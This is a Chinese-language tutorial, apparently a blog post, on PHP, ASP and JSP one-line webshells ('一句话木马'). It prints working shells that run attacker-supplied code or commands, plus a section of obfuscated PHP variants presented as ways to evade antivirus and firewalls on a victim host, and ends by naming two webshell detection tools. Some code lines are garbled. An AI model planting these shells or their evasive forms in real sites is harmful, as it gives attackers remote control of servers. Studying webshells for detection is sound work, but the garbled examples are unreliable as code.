何为一句话木马?他跟其他木马有什么区别吗? 一句话木马的叫法是来自他代码结构简单,简单到什么地步?最简单的一句话木马甚至可以就一句代码就结束了,比如经典PHP一句话:<?php @eval($_POST[‘cmd’]);?>。
一句话木马类型
- PHP一句话木马
- jsp一句话木马
- asp一句话木马
- ……
PHP一句话
先上一个最简单的列子:
<?php @eval(_POST[‘cmd’]));?><?php @assert((
第一个是代码执行(eval),第二个是命令执行(system)。其中@符号的作用是代码执行报错仍然继续执行。参数passwd是我们连接木马时的“暗号”,也叫密码。
免杀与绕过
为了更加隐蔽的藏在受害者主机不被杀毒软件发现,又或者是需要突破防火墙的拦截,一句话木马也需要做伪装和代码上的变形来躲过各种检测机制。
举例1:
代码语言:javascript复制<?php
$a="eval";
$a(@$_POST['a']);
?>
分析这部分代码:给变量a赋值为:eval,那第二行代码真实的样子为:
eval(@$_POST[‘a’]
举例2:
代码语言:javascript复制<?php
$bb="eval";
$a="bb";
$$a($_POST['a']);
?>
变量bb赋值为:eval,变量a赋值为:bb,前面两行的铺垫都是为了第三行代码的执行,其真实的样子为:bb(_POST[‘a’]); -> eval(
举例3:
代码语言:javascript复制<?php
$a=str_replace("Waldo","","eWaldoval");
$a(@$_POST['a']);
?>
str_replace()函数字符串替换函数,第一个参数为查找字符串,第二个参数为需替换的字符串,第三个字符串为被替换字符串。str_replace(“Waldo”,””,”eWaldoval”),在ewaldoval中查找waldo,并替换成空字符串,及:”eval” 。
举例4
代码语言:javascript复制<?php
$a="e"."v";$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
这里的‘.’表示连接的意思,通过变量的凭借来达成目的。 以上这都是一些最简单的构成方式。
asp一句话
跟PHP一样先上一个最简单的asp一句话:
<%eval request (“passwd”)%>
这里的变化就是开头的格式与请求方式不一样 ,这里摘选来自互联网的实列:
代码语言:javascript复制<%execute request("passwd")%>
<%execute(request("passwd"))%>
<%ExecuteGlobal request("passwd")%>
<%Eval(Request(chr(35)))%>
jsp一句话
jsp标签含义:
代码语言:javascript复制<%@ %> 页面指令,设定页面属性和特征信息
<% %> java代码片段,不能在此声明方法
<%! %> java代码声明,声明全局变量或当前页面的方法
<%= %> Java表达式
简单一句话: eg1:
<% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %>
eg2:
代码语言:javascript复制<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("") request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
Webshell检测工具
这里推荐两个检测工具:
- 河马webshell查杀: https://www.shellpub.com/
- D盾: https://www.d99net.net/